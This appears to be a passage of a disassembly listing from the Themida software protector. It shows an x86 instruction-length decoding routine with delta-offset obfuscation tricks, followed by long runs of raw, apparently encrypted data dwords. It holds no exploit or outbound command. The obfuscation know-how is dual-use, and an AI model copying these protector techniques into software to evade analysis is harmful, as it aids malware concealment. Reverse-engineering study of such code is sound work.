		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178AD7h
		lea	ebp, [ebp+617894Dh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A11D4
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A11A7


loc_5A11D4:				; CODE XREF: Themida_:005A11C3j
		cmp	cl, 0Bh
		jz	loc_5A1231
		cmp	al, 66h
		jnz	loc_5A1212
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A1194
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A120A
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A1194
; ---------------------------------------------------------------------------


loc_5A120A:				; CODE XREF: Themida_:005A11F7j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A1212:				; CODE XREF: Themida_:005A11DFj
		cmp	al, 67h
		jnz	loc_5A1194
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A1194
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A1194
; ---------------------------------------------------------------------------


loc_5A1231:				; CODE XREF: Themida_:005A11D7j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A125D
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A1262
; ---------------------------------------------------------------------------


loc_5A125D:				; CODE XREF: Themida_:005A123Cj
		movzx	edi, al
		shr	edi, 1


loc_5A1262:				; CODE XREF: Themida_:005A1258j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178B8Fh
		lea	ebp, [ebp+617884Dh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A13E4
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A1328
		dec	ecx
		jz	loc_5A130B
		dec	ecx
		jnz	loc_5A137B
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A1377
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A12EA
		mov	byte ptr [ebp+0Bh], 2


loc_5A12EA:				; CODE XREF: Themida_:005A12E0j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178C1Bh
		mov	dword ptr [ebp+617896Dh], 1
		pop	ebp
		jmp	loc_5A137B
; ---------------------------------------------------------------------------


loc_5A130B:				; CODE XREF: Themida_:005A12C5j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A1355
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A1355
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A1355
; ---------------------------------------------------------------------------


loc_5A1328:				; CODE XREF: Themida_:005A12BEj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A136E
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A135D
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A1355
		mov	[ebp+0Bh], cl


loc_5A1355:				; CODE XREF: Themida_:005A130Fj
					; Themida_:005A1319j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A137B
; ---------------------------------------------------------------------------


loc_5A135D:				; CODE XREF: Themida_:005A1336j
		cmp	dl, 5
		jnz	loc_5A137B
		mov	[ebp+0Bh], dl
		jmp	loc_5A137B
; ---------------------------------------------------------------------------


loc_5A136E:				; CODE XREF: Themida_:005A132Cj
		cmp	dl, 6
		jnz	loc_5A137B


loc_5A1377:				; CODE XREF: Themida_:005A12D6j
		mov	byte ptr [ebp+0Bh], 3


loc_5A137B:				; CODE XREF: Themida_:005A12CCj
					; Themida_:005A1306j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A13A9
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A138B:				; CODE XREF: Themida_:005A13A1j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A138B
		mov	esi, edx


loc_5A13A9:				; CODE XREF: Themida_:005A137Ej
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A13DE
		cmp	edi, 7Fh
		ja	loc_5A13DE
		test	bl, 38h
		jnz	loc_5A13DE
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A13D8
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A13DB
; ---------------------------------------------------------------------------


loc_5A13D8:				; CODE XREF: Themida_:005A13C9j
		push	1
		pop	eax


loc_5A13DB:				; CODE XREF: Themida_:005A13D3j
		mov	[ebp-1], al


loc_5A13DE:				; CODE XREF: Themida_:005A13ADj
					; Themida_:005A13B6j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A13E4:				; CODE XREF: Themida_:005A128Ej
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A140F
		dec	eax
		dec	eax
		jz	loc_5A1405
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A1417
; ---------------------------------------------------------------------------


loc_5A1405:				; CODE XREF: Themida_:005A13F4j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A1414
; ---------------------------------------------------------------------------


loc_5A140F:				; CODE XREF: Themida_:005A13ECj
		mov	al, [ebp-3]
		add	al, 4


loc_5A1414:				; CODE XREF: Themida_:005A140Aj
		add	[ebp-1], al


loc_5A1417:				; CODE XREF: Themida_:005A1400j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A143F
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A142A:				; CODE XREF: Themida_:005A1439j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A142A


loc_5A143F:				; CODE XREF: Themida_:005A141Fj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 6178A1Ah, 0CA18589h,	3CE90612h, 1, 4Eh dup(0)
		dd 83000000h, 122AA9BDh, 840F0106h, 4A7h, 0DE95660h, 93000000h
		dd 0B49A47BBh, 47CB0113h, 6919466Ah, 2CBB6659h,	10E96130h
		dd 50000000h, 60611314h, 550A01F0h, 4BA1C5A5h, 0C6353256h
		dd 12025985h, 14E94306h, 44000000h, 345900FDh, 67FE8999h
		dd 78CD3178h, 6C8C5C77h, 0E8CE23C9h, 4,	0ECA5D0F5h, 52505250h
		dd 0FE9h, 67415C00h, 19750285h,	0E5D98BEh, 6011F0D0h, 5250310Fh
		dd 585A310Fh, 310F585Ah, 0F830Fh, 0AE90000h, 4B000000h
		dd 0B5A1C70Ah, 0C389F46Fh, 50585AC8h, 52505250h, 8E9h
		dd 3EC5E000h, 0CE40045Dh, 50310F6Bh, 5A310F52h,	0F585A58h
		dd 61606031h, 0B0C3B966h, 8B585A61h, 60042444h,	5E9D0B1h
		dd 0CB000000h, 0BB4E91D4h, 0E9008B61h, 0Ah, 0D72DFCC8h
		dd 174A7354h, 4489E665h, 8A600424h, 605861EEh, 0DE8h, 0E854DE00h
		dd 1A3404C1h, 7CF98AF4h, 8E8DD3Dh, 48000000h, 4FB320ABh
		dd 5E7E9A31h, 0F081665Ah, 0FF6130B2h, 122E69B5h, 0A8E0F06h
		dd 60000000h, 870Fh, 58520000h,	0A4858D61h, 0F061581h
		dd 189h, 0D0FFF500h, 138D0Fh, 0EE90000h, 3A000000h, 0F5B3A6CBh
		dd 8DF97D91h, 79177E17h, 0FD858916h, 6A06121Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0E28DC351h, 167D5C16h, 0E93B1A05h, 11h, 0FF48877Ah
		dd 94EAE498h, 0AC4BA77Fh, 99964B61h, 5985C6CBh,	50061202h
		dd 13E860h, 64B10000h, 937735C3h, 8E0E008h, 0CF058D27h
		dd 4CDCADA1h, 5AD6B545h, 68612DB2h, 3752D84Ah, 0DE9h, 98C78B00h
		dd 0B9C1F71Ch, 4476B120h, 4813EFAh, 5AD50C24h, 78F0F71h
		dd 0F000000h, 182h, 5660F800h, 0F5FF08Bh, 684h,	1CDE8100h
		dd 616381EFh, 2E69B5FFh, 8DFC0612h, 1581A485h, 13E906h
		dd 8B2C0000h, 0D392EBDBh, 46120D6Dh, 2B69DB71h,	97CCDC2Dh
		dd 0F8D0FF54h, 2B718589h, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 33CF27C3h, 5E9E9FEh
		dd 0A8000000h, 553DC445h, 0CF1E68FCh, 0E960F3B7h, 0Fh
		dd 691EEA96h, 0A5037A90h, 2CFD78A3h, 61F2E4E0h,	31243481h
		dd 0E9033867h, 0Bh, 0D7710A05h,	0D8414788h, 0FF4B1D9Eh
		dd 122E69B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0E260A34Dh, 858DF8F8h, 61581A4h
		dd 1840Fh, 0FFF80000h, 8589F5D0h, 6122DA5h, 0C840Fh, 800F0000h
		dd 6, 830Fh, 85C60000h,	6120259h, 57006A50h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 5599F81Dh
		dd 3D193232h, 14E9h, 3816E600h,	0DF1DE1Fh, 0BA4119EEh
		dd 3CAE9F31h, 6BA3DE01h, 0B2B16854h, 820F60CCh,	0Eh, 61605250h
		dd 8C0F310Fh, 0
		dd 481585Ah, 0D029A524h, 0B5FFF936h, 6122E19h, 0EE960h
		dd 88470000h, 35627B57h, 8F2A6710h, 0B564B367h,	9E960h
		dd 24FF0000h, 0EAF838E9h, 611DB2E0h, 56858D61h,	0F06123Bh
		dd 783h, 18C0F00h, 0F9000000h, 810FD0FFh, 1, 3D8589F5h
		dd 0F8061206h, 126E9h, 0C78A6000h, 0C5C98160h, 612FC1B3h
		dd 810F5061h, 8, 28B0Fh, 61600000h, 0F8242C89h,	0D860Fh
		dd 0B8600000h, 6C49C59h, 0B7BAF181h, 8B61135Fh,	0EE9ECh
		dd 3AE70000h, 4755BC29h, 0DDE7E204h, 0AF72DB44h, 0F5FCC483h
		dd 88A0Fh, 8A0F0000h, 2, 0F8606160h, 0E8h, 0EA815A00h
		dd 61792A8h, 0FC45C7h, 83000000h, 122AA9BAh, 840F0106h
		dd 98h,	6A006A52h, 0FD92FF0Fh, 5A06121Ah, 8D7E8289h, 9A8D0617h
		dd 6178D82h, 2803C752h,	53000001h, 7192FF50h, 5A06122Bh
		dd 829A8D52h, 5306178Dh, 8D7EB2FFh, 92FF0617h, 612063Dh
		dd 74C00B5Ah, 829A8D50h, 8D06178Dh, 0C933247Bh,	104F981h
		dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h,	0C752B39h
		dd 1745BA8Dh, 4D8B0612h, 32A4F30Ch, 0FF52AAC0h,	828D0875h
		dd 6121745h, 0A592FF50h, 5A06122Dh, 0A075C00Bh,	1FC45C7h
		dd 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 816660F8h, 66F5B3DAh, 8B61CF8Bh
		dd 158D8DD2h, 6A061794h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0F41FC351h,	57648579h
		dd 918D8977h, 0C7061227h, 12343985h, 586406h, 0E99D8900h
		dd 0C7061201h, 122E5D85h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0EDB5FF9Ah
		dd 0F061205h, 68Bh, 95B58900h, 0FF061203h, 120AC995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0BC19D31Eh, 6A495425h, 7595FF00h, 8B061224h,	0C50FEBC0h
		dd 79B36AC2h, 0D17227Ah, 71F845C4h, 9E8DA55h, 4C000000h
		dd 9269006Dh, 1C343659h, 11E9h,	94F54C00h, 21745830h, 16970E9Ah
		dd 7481103Fh, 0E95BE6F8h, 12h, 0B3F9EB58h, 9C9D1E36h, 82F52A35h
		dd 7DDCCC53h, 0C3814B96h, 5E71h, 0FD5BD01h, 0E8B80612h
		dd 81349719h, 970E8BF0h, 0CDBD8B34h, 8B061235h,	0B9958B33h
		dd 8106121Ah, 7343FEC6h, 0E8F86010h, 14h, 5BDC236h, 0F20907BFh
		dd 17DBC794h, 7BF80F0Ch, 2377456Dh, 0AE9h, 64434400h, 0FE0A7005h
		dd 5B98DA62h, 0ACF68161h, 10FBEDFh, 1232D585h, 0AAF68106h
		dd 8B69FF17h, 1212958Dh, 8B338906h, 122AD1BDh, 4EB8306h
		dd 1E881FCh, 0F000000h,	1085h, 4DB52900h, 0E906122Dh, 20h
		dd 44A7F2FAh, 0AE9E5h, 0DECC0000h, 51588380h, 841E9FA1h
		dd 0FFFF72E9h, 1FBEB6FFh, 60F7A04h, 96088D8Dh, 6A0617h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 92DC2BC3h, 5F4E4D8Eh, 8952618Ch, 121BB1B5h, 81665A06h
		dd 8952DCCBh, 1227918Dh, 0F18B6606h, 343985C7h,	625C0612h
		dd 85890000h, 6122EB1h,	2E5D85C7h, 612h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0F7FE99C3h, 4CF07563h, 897305B9h, 1234659Dh,	81665606h
		dd 5B2D29F6h, 1A9DB5FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0EFF0EC3h, 757FF2A2h
		dd 2BA9FF4h, 0FF7E8ED2h, 120AC995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 3F22D243h
		dd 0DEC8B70Ch, 0E88166A4h, 6A9856h, 247595FFh, 0C08B0612h
		dd 0FE975EEBh, 9EDCD765h, 7AF27F79h, 1197FFEDh,	0AE5C797Dh
		dd 2AE9D643h, 0A23F58B1h, 5A10D239h, 0B6282D7Fh, 0F51B2304h
		dd 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0FAB90B51h, 505AD351h
		dd 3D7627Dh, 2DF2F870h,	46F08FFDh, 27C7B067h, 3E83BED2h
		dd 13469473h, 772B0B9Bh, 65C2CEB9h, 0D254B8A3h,	5E8h, 0C6FE8600h
		dd 0CF81B304h, 6C2B330Dh, 34E98158h, 811ED84Fh,	65B9C0h
		dd 359D8900h, 68061205h, 0
		dd 5FD6E7B9h, 8B605A50h, 120A819Dh, 19853106h, 6106121Dh
		dd 8B101C8Bh, 121A71BDh, 63EB8106h, 892DBDDBh, 1219F1B5h
		dd 0B3EB8106h, 15AD631h, 1209C18Dh, 80C38106h, 89476BF2h
		dd 122F819Dh, 81665306h, 8F2A2DF1h, 2CB91004h, 896A9D0Bh
		dd 1235B19Dh, 4EA8306h,	6860Fh,	9D890000h, 6121661h, 9AFCFA81h
		dd 850FFFFFh, 16h, 20E9FCh, 0C00D0000h,	394F2B03h, 0DE7BF305h
		dd 0E0CFDEF5h, 8D0BCE21h, 61215A9h, 0FFFF83E9h,	582AA6FFh
		dd 8D8DA50Eh, 6179809h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 9DC35040h, 6D96B73Ah,	0AB7FE8B2h, 5518503h
		dd 95890612h, 6123545h,	27918D89h, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D6FD6AC3h
		dd 0AED3A5B3h, 0C78EEB80h, 12343985h, 6D4806h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 48B0A214h, 577C0B8Eh, 85C7ADDFh, 6122E5Dh, 0
		dd 2F499D89h, 0B5FF0612h, 6121629h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D8C35141h,	0A5E1DC30h, 0D98D89E9h
		dd 0FF06121Bh, 120AC995h, 0FD9D8B06h, 6A061201h, 7595FF00h
		dd 8B061224h, 621CEBC0h, 62998FFCh, 0B390989Bh,	0E88FE5BFh
		dd 137C6732h, 6BA6B369h, 74199B69h, 0E91B0370h,	30h, 60169B3Bh
		dd 0Bh dup(0)
		dd 0C0DE9h, 9A056800h, 37E90617h, 68FFFBAFh, 6179ADAh
		dd 0FBAF2DE9h, 9CAE68FFh, 23E90617h, 68FFFBAFh,	6179DABh
		dd 0FBAF19E9h, 0A09568FFh, 0FE90617h, 68FFFBAFh, 617A220h
		dd 0FBAF05E9h, 0A2E368FFh, 0FBE90617h, 0E3FFFBAEh, 9E159863h
		dd 49FC418Ch, 6EC528B3h, 1BAE13DEh, 0F078C50Ah,	3FC44586h
		dd 0E3F07FB2h, 0C9162B9Eh, 0B13EC164h, 0B6636F4Ch, 0E252F09Ch
		dd 0EED06135h, 0EB5EA1A7h, 6EEA955Ah, 2EB3B4FBh, 158E95Ch
		dd 3B58FE10h, 0F54DCBDCh, 6ADB3770h, 2E5510DDh,	0C56DD01Dh
		dd 0F9A8BA09h, 0E24D66C2h, 40152B9Ah, 4D66BD51h, 348C14E2h
		dd 66C76B56h, 9602E24Dh, 753A9ED3h, 4D6694BAh, 3F609E2h
		dd 223A687h, 50DD4Eh, 44F10000h, 15733CC1h, 40EED950h
		dd 0F01229BDh, 2C1DEF31h, 0DC3BA702h, 6A1C49CFh, 2B390B9Ah
		dd 0DB6469FAh, 92C1087Dh, 0AAE24DD4h, 7070579Ch, 0BF8D5E0Ah
		dd 4E5060F2h, 7AEF69E2h, 0DDEC9305h, 0E24E512Dh, 0EE6A4990h
		dd 4E03093Dh, 0CFA4h, 0A7EE0500h, 0E70393A6h, 3F76F80Eh
		dd 6CFFA2A7h, 0D455D867h, 3ACD600Fh, 0A0A38AB5h, 14DFEE53h
		dd 8FDC3B6Dh, 2095777Ch, 0DCABDE23h, 6609D669h,	0A02B3D68h
		dd 9ACCB99Fh, 0B8697B4Ah, 0E24DA187h, 0C76BD642h, 9CAAB807h
		dd 679D8BACh, 0DD194DDh, 0A572F63Fh, 0E63D305Ah, 4CF34B3Eh
		dd 51BF535Eh, 8E0AE24Eh, 4C883336h, 85E86301h, 85843113h
		dd 0AC19F578h, 6F12579Ah, 574D11DEh, 5D779BCEh,	9AB4CD2h
		dd 0BE4C0000h, 0E77BCE33h, 0E1299E4h, 39CB7EC3h, 65E44BB6h
		dd 0ED5B1598h, 6FD21F2Eh, 3B864BD8h, 16C71F4h, 0E95499AAh
		dd 0F71B06D4h, 0D2E252F2h, 0B8497584h, 0E063C62Bh, 15233113h
		dd 0C63872FDh, 9EB07104h, 2BDC3C0Bh, 92CDB8ADh,	592B7A4Ah
		dd 4D862B68h, 0D32A6E2h, 4D858CA2h, 0BEE71E2h, 23E9E8Fh
		dd 0BFC54Eh, 0EEAA0000h, 2B5EA1A7h, 511EE364h, 0A4864BDAh
		dd 5947EBD6h, 1682DC3Bh, 18DBD653h, 24DC3B5Eh, 0B5C28816h
		dd 6EF14D5Fh, 295C0961h, 0C164C916h, 8EB13Eh, 8EB0732h
		dd 72E6DC3Ch, 3C8343F7h, 3DC0632Eh, 8F09E24Eh, 0BB408C22h
		dd 488D44D6h, 6F7DD550h, 623E65A2h, 16F46CE8h, 0EC519EAFh
		dd 573BC859h, 779C9057h, 0D66C327Dh, 93000008h,	4EE54893h
		dd 79CC31BCh, 1E9518E3h, 0CB7EC30Eh, 2048B53Ah,	0EFF475B6h
		dd 0D3202F82h, 0B946DB6Eh, 616EF134h, 66533F1Ch, 0E252F2CCh
		dd 49205105h, 63C62BB8h, 0BCAE13E0h, 594FE3AEh,	947ADC3Bh
		dd 3B5989A5h, 78D040DCh, 0A9AADC2Ah, 34318E24h,	29B649F5h
		dd 0D71C2F06h, 0B908C46Ah, 9D8FDDABh, 70B3AC54h, 0F700CBBEh
		dd 0D2E24E62h, 30316446h, 0A6849CA3h, 4E6257FBh, 63E672E2h
		dd 17DC6FC6h, 350407AAh, 42F5BE02h, 58E77FA0h, 0D287E351h
		dd 0A695CC75h, 74F90619h, 0C3A12E31h, 0A25DB3B5h, 0BCDCDD37h
		dd 61B16D01h, 6A3A63Eh,	0D30484ABh, 0DFD2B575h,	0CC8CF50h
		dd 0FD95550Eh, 0B80F72CAh, 9A155AA7h, 75D2E86Fh, 71BEBD94h
		dd 299CE1EEh, 0BC564316h, 1575D2E8h, 9A20E183h,	3A74794Fh
		dd 43F2C0A2h, 0E30F3EC1h, 7B75D30Bh, 0D30BA44Eh, 4CAB2D75h
		dd 1E1091D4h, 0B25C4DCEh, 1F75D30Bh, 564321B9h,	7BE535F1h
		dd 0BDF578D8h, 72402271h, 429DB524h, 95D085B9h,	0F774AD6Ah
		dd 0AEBC2481h, 0E857C780h, 6D7FB06Ch, 0F7F492BCh, 0ACD93F81h
		dd 0F47FAC03h, 907E81F7h, 0F47B9782h, 0C25681F7h, 7DFDFC87h
		dd 0EDACB1B0h, 4B72Bh, 39CA9400h, 35179E6Eh, 4D5B3F04h
		dd 3C0E8AE2h, 71A37689h, 80D00057h, 0B4ACD32Bh,	0C8DF8EB1h
		dd 30BF1D2Bh, 0DED67F4h, 0E43CE30Ch, 5BE93AD6h,	25BDF0CCh
		dd 621D5A47h, 2CB4C52Fh, 8CDC305Eh, 35FFB895h, 6FBFF730h
		dd 26744220h, 5257E2C6h, 974603A9h, 0CB41E5CDh,	55222491h
		dd 41E5CA64h, 399107CBh, 12571276h, 0EE71A486h,	8F9203E1h
		dd 2E5B3D42h, 0BB5BEC43h, 82CE26A9h, 94BCE916h,	2859996h
		dd 0E7000007h, 92196467h, 4DE04D90h, 62C934B7h,	1F921FE2h
		dd 0C7CC10Eh, 3BC8599Ah, 0EFF473B6h, 0D51A2F82h, 0BD42C568h
		dd 0B27F6B30h, 0E252F4A0h, 49CC6D29h, 2F0629B6h, 0E6F4D619h
		dd 7A21C558h, 87869E17h, 0DC3C026Bh, 0B3B7F266h, 44010728h
		dd 0DA9529h, 4A940000h,	72582F76h, 0B7B23DC3h, 0F306C003h
		dd 15A38000h, 0CD9B47F0h, 0F01A8C6h, 2871F41Dh,	54h, 0E5764A91h
		dd 0F41ED4F7h, 86A89904h, 43DC3BD1h, 7E57DD5h, 3BD1F51Ah
		dd 3B44DCDCh, 9FE2EF70h, 0A5CA1728h, 9072418Dh,	0B4BF482h
		dd 32D2EF8Ch, 12CF8437h, 9EFAE24Eh, 78E5CD1h, 0DCB4FB08h
		dd 6FEBCEA9h, 4E02D9BEh, 725h, 2C5E8A00h, 0E3000001h, 592B7A4Ah
		dd 0A24C7D4Bh, 2FDC3B58h, 0AD459BA9h, 49B0667Ch, 3ADEED1Ch
		dd 377EE24Eh, 0F79FAD32h, 0CBB6D2B8h, 59BFB0B5h, 0B0E76D35h
		dd 0E6B4F37Dh, 605h, 149964E2h,	0FF428D91h, 0C429B448h
		dd 911CDF61h, 7BC60B1Ah, 0C54487F1h, 0F17EB538h, 172A81ECh
		dd 3FC067CAh, 606E4FB2h, 52F59DB1h, 0D36E34E2h,	582F764Ah
		dd 0FDB02472h, 0EDF61809h, 45D3DC3Bh, 4594EC27h, 0C9BC41C0h
		dd 0ACCB1101h, 9B8BD9CDh, 6822A68Fh, 0F1323431h, 6847F0C0h
		dd 5Eh,	0E5764AD1h, 30E10356h, 0DC3BF61Eh, 21F2DABh, 0BC8BE346h
		dd 0D2B8888Ah, 0CF70B6C4h, 9FFC46Dh, 3C20F618h,	0C045D3DCh
		dd 0A9C8BD40h, 0D56BDACAh, 66E3650Ah, 0F0DA2300h, 205E47h
		dd 0EE230000h, 2A5FA4A7h, 0A1DA464h, 0FA1DCF00h, 6125CCF7h
		dd 45B3DC3Bh, 47F01DE5h, 0FFFE9A10h, 764AD9FFh,	0C372582Fh
		dd 0F408BD42h, 114A7CE9h, 9FADBB47h, 0F3D63AF3h, 8FA362BAh
		dd 3ADC3C53h, 0E9C8ABDEh, 0F10CBC69h, 24A2747h,	8DDB0000h
		dd 0E03D492Ah, 4BD84DC1h, 4968C386h, 21042BB8h,	8893DC1Fh
		dd 0CCF53C2h, 1160E563h, 80833222h, 1154CC73h, 0AB16DB6Ah
		dd 0E3EE72A3h, 8853E95Ch, 5C0961E7h, 0A4CB1829h, 91734282h
		dd 0E4514DC3h, 23BAE05Dh, 5F780A72h, 1EE167B5h,	2A9FF751h
		dd 0AEAAD518h, 0DD6653BBh, 0F4E24E08h, 18179E6Ch, 3F119ECBh
		dd 0B5C3D3A6h, 9F19145Eh, 6A1154F0h, 0A3AB16DBh, 7BEEF372h
		dd 86853534h, 0FA523679h, 0FCD47AB5h, 3ACFE24Dh, 9DA38AB5h
		dd 0CF162D52h, 3D05FECh, 0D38CE47Ch, 0F776C5B4h, 98AD18EAh
		dd 392C244Bh, 9966E74Ah, 1905CD6h, 0FD817623h, 0C848E85Fh
		dd 2C3C6965h, 32F2A4A1h, 0B3908163h, 1EEE7227h,	27ED0130h
		dd 4071EE72h, 0EE7227AEh, 0F33ABD1Bh, 47C16E71h, 0C1E897EFh
		dd 0EE72282Dh, 2B549996h, 4DF2FF00h, 0E5777AC3h, 9C2C0F6Ah
		dd 0B6634150h, 0F48451D1h, 9E1598F8h, 743F408Dh, 8B83EEF3h
		dd 51628CBDh, 0E96FF484h, 0ABFACA7Ch, 60B3E8D9h, 0BA1EFA96h
		dd 61143AF5h, 0FD89FA96h, 629B448h, 3D3C4702h, 4B1D70BDh
		dd 43EB66h, 4A540000h, 68592B7Ah, 0E24D862Bh, 0E55032A6h
		dd 182D9863h, 9E119ECBh, 0E24D8570h, 3F270A6Dh,	0FC2E7111h
		dd 4D7A21CDh, 1A28A8E2h, 5C09E8E2h, 2D5091Ah, 0CD704Eh
		dd 9C6A0000h, 4E2781ADh, 9DC848E2h, 0A6A7EE22h,	0E6792C59h
		dd 4EBFC3D3h, 45DD35D6h, 0EDF2733Ah, 0A658EB42h, 0E8F377A7h
		dd 0C669C147h, 0D535D9C8h, 49CDC3Bh, 2B54ACh, 210F2FFh
		dd 3BD4FB17h, 742D6DCh,	0FAD46268h, 5F6DBF5Bh, 3D053D6h
		dd 2D5C9746h, 0B5E0DC3Ch, 0FE0302B4h, 0CA7FD7B1h
		dd 8BBEAB36h, 0CB996B78h, 4C7327F0h, 6D184DE0h,	0A8BA09C5h
		dd 5BE4E77Dh, 0B76288FDh, 0E25050EEh, 266F7DDBh, 0D057DA27h
		dd 0ACC08C51h, 207DAE7Dh, 31B3B07h, 4EDC0000h, 778B3E83h
		dd 9EA20974h, 0C95BEE53h, 0F574BB06h, 7DEB85E8h, 0DF22AFBEh
		dd 0AB16DB68h, 71FC0104h, 59A4293Ah, 87AB9644h,	42E252F8h
		dd 0B849E514h, 0E063C62Bh, 49EFAE13h, 2F0629B6h, 9A67FA1Ch
		dd 0ADD21D2Fh, 0AFEE53ABh, 5B29B649h, 58B25C4Dh, 0B91FDC3Bh
		dd 37C863CCh, 0D86DD8AAh, 438E9E0Bh, 4221243Ch,	6E433A48h
		dd 0AFF18C20h, 6938F4BAh, 0FBF1AE9Bh, 78D8E24Dh, 0D96ADB37h
		dd 78ED6B14h, 4DFB99B1h, 0FEFD04E2h, 2B8A182h, 828F9D4Eh
		dd 0E24E0370h, 0A017DC6Bh, 34EC3530h, 4D000000h, 592B7A4Ah
		dd 4D862B68h, 0D1FA6E2h, 6051BDC2h, 0E24D85CEh,	0AD059DFBh
		dd 85FF2F82h, 10FEE24Dh, 135C9FA5h, 52213035h, 23E55D6h
		dd 0F08C4Eh, 496D0000h,	0F80504B6h, 3679D1B7h, 9D6BEE7Fh
		dd 3B5882ACh, 0D8C94FDCh, 0DC3B5936h, 80800593h, 9E07E57Dh
		dd 9539468Bh, 33E248B3h, 37328AD1h, 23B0B3FAh, 0FE08E1Ch
		dd 0C44A6022h, 0B2B5F86Dh, 9AF2FF00h, 0C70C1D88h, 0BC4E782h
		dd 0F4DC3BE9h, 0AC036E73h, 0A529569Bh, 41EEF370h, 10DC82C7h
		dd 5DF6A381h, 74E24E1Ah, 0DD2981ECh, 0BD41F4D6h, 5E0B0D32h
		dd 0CABE9D8Ch, 8D0BE862h, 0C7F776BFh, 4220B843h, 62CABB57h
		dd 0C78216E8h, 727F8E37h, 53262590h, 62CACC66h,	3B9305E8h
		dd 94A91C74h, 0D86F1A4Fh, 8A594E49h, 43758C92h,	590F67EBh
		dd 0DA55779Ch, 19044h, 16D96900h, 0FF0204ABh, 0A6293F72h
		dd 8954D45Bh, 73808124h, 0CB087E0Eh, 0E548B53Ah, 91149966h
		dd 0B7FA478Ch, 0F9C22FB4h, 0FB123CEDh, 9BBFE252h, 2BB8495Eh
